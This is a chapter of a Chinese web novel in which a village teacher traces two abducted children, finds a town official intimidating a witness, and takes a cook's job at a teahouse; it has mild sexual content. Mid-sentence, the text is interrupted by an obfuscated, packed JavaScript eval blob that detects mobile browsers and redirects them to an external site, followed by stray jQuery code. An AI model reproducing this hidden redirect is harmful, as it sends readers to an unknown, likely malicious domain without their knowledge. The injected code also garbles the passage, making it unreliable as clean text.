宋元要趁太阳还没落山回到村里，去陈念他们上学的必经之路查探一番，看能不能找到细微的线索。
走到崔家村附近，宋元看见了一个不该出现在这里的人。
是几个月前和张丰年一起在镇政府办公室奚落宋元的贾宏远。
他是武装部的部长，这个时候鬼鬼祟祟来干嘛？总不能是下基层吧。
贾宏远负责的事务中最突出的一项就是征兵，那他应该对地方的年轻人口很了解才对。
就算现在是未成年，日后也会有长到十八岁可以当兵入伍的一天，他盯紧这些孩子是再正常不过的事。
宋元满腹疑团，贾宏远真有那么好心亲自来探望丢了孩子的家庭吗？
宋元隔着很远的距离，看见贾宏远徘徊在崔弄璋家的院墙外，楞是不进去。或许他没打算进去，只是在勘探周围的情况。
贾宏远往前走，来到桥头的几户人家，他每进去一户不到三分钟就出来了。
宋元猜测他在跟这些人打听，事发早上有没有在家门口或者出门看到点什么。
比如，崔氏兄妹从门前、窗前经过的时候看见了吧？那他俩走到前面更远一点的地方还有没有再看见？
这个贾宏远想干嘛？和梁春霖他们一样，想尽快找到被拐的孩子吗？宋元满腹狐疑。等他走后，宋元便以老师的身份也挨家挨户进去询问，好在村民还算配合。
确实有个别人家看到俩孩子背着书包从窗前走过，只不过大冬天的，又是早上天蒙蒙亮冻得要死，谁会闲的没事干出门呢。
村民最多能确认兄妹俩跟往常一样去上学了，但是过了桥头就不知道他俩接下来遭遇了什么，不跑出来根本看不见前方路段。
宋元来到要问话的最后一户，也是贾宏远停留较久的一户人家。
一进屋，宋元仿佛掉进了冰窟，他说话时哈出的白气清晰可见。屋内昏暗潮湿，只有一只泛黄的灯泡散发出些许暖意。
借着晦暗不明的灯光，宋元环顾四周，发现这家里只有一个佝偻的老头，他站在那边，好像一个漂泊无依的鬼魂，既吓人又可怜。
“老人家，我不渴，不麻烦了！”宋元心里过意不去老人的忙前忙后，赶紧把他扶到早已塌陷的破沙发前坐下：“没事的，我们聊聊天就好，不用太客气啦。”
老头儿说那天早上没瞧见这俩娃，他也没出屋。
本就一无所获的宋元，对老人没抱多大希望，只是看他日子过得太艰苦，再多听他说两句话就好。
恰巧到了傍晚的饭点，前后人家都飘出饭菜的香味，老人像是想起一件很重要的事情，他蹒跚着把宋元带到厨房，说电饭锅坏掉了让他好些天没饭吃，叫村里的小伙来帮忙修一下，怎么都叫不来。
“好的，我来看一下。”宋元的话让老人放宽了心。
还好是小问题，接口松了而已，宋元拿胶布给插线的一端缠了几圈，再接到电饭锅上就好了。
他顺手帮老人淘米煮饭，又去隔壁小卖部买来灯泡，把屋里的灯也全都修好了。
突如其来的亮堂，让老人一下子接受不了，也让宋元看清了这个到处都脏兮兮的家。
他心生怜悯却也无可奈何，临走前看老人还在厨房倒腾，就把身上的两百块钱放在了老人的沙发扶手上。
离开一小段后，宋元总感觉后面有人跟踪他。
回头看去，正是老头拄着拐杖追他，一边招手示意他停下来，一边在雪地里发出微弱的呼唤声。
“小伙子，我有话想对你说。再说了，饭还没做好呢，你走什么走！”说完这两句，小老头累坏了，他顾不上休息，还在继续讲。
得知事情原委后，宋元对老头说：“饭就不吃了，我有要紧事，你回去路上注意安全啊。”说着，宋元把自己的围巾解下来给老头戴好，很快就走远了。
现在，他要去跟踪贾宏远。
刚才贾宏远到老头家里问话，老头说的是：“我看见他们俩经过门前了。人走了一会儿，我才想起来，新时代的小孩儿都聪明，说不定弄璋能把我的电饭锅修好。我就出去叫他们，正巧一辆车停在俩娃跟前，那车把人挡住了，我没看见俩娃咋上的车。还以为是学校的车来接他们呢，下了雪，路不好走，唉，没想到呐，听别人说是被坏人捉走了……”
贾宏远生气地打断他：“你这些话，有没有跟别人乱说？”
老头儿懵了一下，回答道：“没有啊，到现在第三天了，我都没见到崔伟峰两口子回来，我咋告诉他？我还能跟谁说呀，谁愿意搭理我这个糟老头子？”
他本以为官老爷会对他的知无不言赞不绝口，却不知怎地触怒官家，于是他的声音越来越小，不复先前的神气。
贾宏远看了一圈屋子，眉头紧锁，嘴里还抱怨：“跟棺材一样。”他的屁股是坐也不肯坐一下。
最后，他警告老头：“你年纪大了，老眼昏花，很多东西都看不真切，哼，那么远，你能看清前面有辆车？说出去谁信？别人只会觉得你这个老东西爱编造故事，唯恐天下不乱。所以你把嘴闭紧，那天早上啥也没看见，听到了吗？不要给我们的工作添麻烦。”
老人家恭顺地点头，腰也弯得更厉害了，官老爷留下一句：“如果你刚才的一派胡言传到外面，以后你就没有低保了。这就是我通一下气的事儿，你信吗？”恐吓结束后，贾宏远扬长而去。
不多久的功夫，宋元就进屋碰见蔫了吧唧的老头儿。
老头儿还以为宋元是贾宏远派来的细作，专门来试探他会不会把亲眼所见告诉别人。
当他从厨房走出来，惊叹沙发扶手上怎会有两张百元大钞时，便决定赌上他的低保也要跟宋元说真话。
原来，老头儿看到的和派出所判断的相一致，那辆车正是两个人贩子拐走孩子的肇事车辆。而且一些路段还拍到了嫌疑人的脸，他们已被通缉。
那么老头儿说的这些并没有比警方提供的更多，但是贾宏远紧张到拿低保威胁他，足以说明他这个武装部长很有问题。
宋元加紧步伐，要在公务员下班前赶到镇政府，开始全面跟踪贾宏远。
跟了他两天，宋元实在心疼自己的租车钱，这王八蛋不是吃饭泡澡，就是唱k打麻将。
不过宋元也特别注意到，贾宏远三番两次在上班时间开车去县里的一个茶楼，按理说喝茶是个慢功夫的事儿，可他每进去不到半小时就出来，像是着急见什么人。
宋元决定守株待兔。
“湘姐，求你了，给我个机会。”宋元在潇湘阁的大厅恳求她道。
五分钟前，他在这间气派的茶楼门口看到招聘厨子的公告，便进来找老板应聘。
阿湘坐在老板椅上一脸玩味地审视宋元，服务员在她左右各站一排，吧台上的小香炉祭出一缕缕轻烟。
同样是大波浪，宋元觉得万之霏比她优雅端庄得多。
如果他还喜欢女人的话，视线就会沿着她的烈焰红唇一路往下瞄，那里更让男人移不开眼。
美有很多种，年近三十的阿湘明显属于妖艳一挂，也是宋元最害怕的一挂。
阿湘让宋元走近一点，她用美甲在宋元的裆部不轻不重地点了两下。
然后，她看见这个二十出头的大男孩从脖子到脸颊刹那间红透了，连耳朵尖儿也呈现出暧昧的粉红色。
步入社会以后，年纪越增长，她越对纯情挂痴迷不已，哪怕很多弟弟都是装出来的，她也丝毫不介意，只要能装到位那也是好的。
宋元的反应，让她意兴阑珊地问道：“这一片那么多家餐馆都招厨子，你是单来我这儿问，还是都问过了呀？”
不懂她搞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831013|175567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么玄机，宋元直言道：“我是想挨个问来着。不过这是第一家，也是我最想来的一家。”
“为什么？”
“给的最多。”
阿湘哈哈大笑：“你还蛮坦率的嘛，怎么，着急用钱啊？”
宋元点点头，开启瞎编模式：“从厨师学校毕业后，我就跟我媳妇在一起了，我是为了她才从外地来的，上个月她出轨，扔下一岁多的孩子跟人跑了，我得赚奶粉钱，求您让我去厨房试一下吧。”
阿湘执意要逗弄宋元：“哦~~那她为什么不要你了呀？”
宋元快崩溃了，极力把话头扯回招聘一事：“我没日没夜打游戏，她看不到希望吧…以后我要自己养孩子了，拜托您给个机会。要是湘姐判定我水平不够，我走便是。”
“那好，进厨房试菜吧。”阿湘起身为宋元揭开后厨的帘子。
认真做饭的男人是帅啊，阿湘五迷三道地想。上菜后，她是让几种没吃过的新菜品惊艳到了，才确定留下宋元。
包不包养他只是小事，请个厉害的厨子才是头等大事。
毕竟开掉上一个厨师就是因为他做的菜不合大佬胃口，惹得大佬不太高兴。那位可是她事业上的根基和靠山，厨子做不好菜，不是闹着玩儿的。
为此她亲自下厨，到底还是天分有限，最后不得已放弃此举。
阿湘心里一片欢欣鼓舞，老天爷终于开眼了，茶楼来来去去开掉多少厨子，每隔一段时间，她就得物色新的给大佬换换口味。
只要菜烧得好，多开几倍工资根本不是问题。
阿湘看得出来这小玩物做饭的确有两下子，那他应该会待得比较久，真是正正好了。
“你听好了，茶馆一共三层楼，八个服务员。一楼是普通客人待的地方，二楼是重要客人待的地方，三楼是不能上去的地方。而你待的地方，只有厨房。”宋元留意到，阿湘跟他介绍这些时，其他人都不抬头，好似遵守宫里的规矩。
他也不动声色地观察到，一二楼之间走楼梯，要想到三楼只能从进门右拐的极隐蔽处坐专用电梯才上的去。看样子除了老板娘，没人能上三楼。
这间茶楼的私密性太好了，一楼的普通客人，恐怕也没有那么普通。身处大厅，他看不见隔间里的人，更听不到他们在说什么，就像当下，没有一个客人注意到他们这边正在大张旗鼓地面试。
那贾宏远呢，他在几楼？一个乡镇小官僚能爬到县里茶馆的三楼吗？倘若他上的是三楼，那他是谁的小弟，每次是给谁汇报情况呢？
来不及多想贾宏远的上一级，宋元连忙回道：“好的，湘姐。”
阿湘见她的新菜如此听话懂事，越发喜上眉梢。宋元也趁机提出日结工资的要求，阿湘痛快答应了他，引得几个服务员对宋元另眼相看。
湘姐这是真得意眼前人呢。
宋元相信贾宏远一定会再来的，他得加速靠近茶楼的权力中心，这样能想办法挖掘出更深的事实，离陈念他们更近一步。
从车行还掉两天前租的车，宋元数了数今天的工资，在茶楼周围的招待所和没有施完工的板楼之间，他选择今晚住在后者。
南方的工地还有些时日才停工，而外地来的工人就集中在这片简易活动房，到了晚上他们一起搭伙吃饭。
宋元趁工人们休息时，偷偷溜进其中一栋较为完整的建筑楼房。
他靠着墙沿坐下，紧绷的神经稍稍舒缓了些，但只要一想到学生丢了五天，宋元就生理性头疼。
他是从病床上挣扎起来的，接着又是问话又是跟踪，今天傍晚还动机不纯地给自己找了个新工作。
他有点筋疲力竭，眼睛眨得再慢一点就能睡过去。
此时，一个人影从暗处走到宋元前面的月光下，近乎尖酸刻薄地说：“你想冻死在这儿吗？”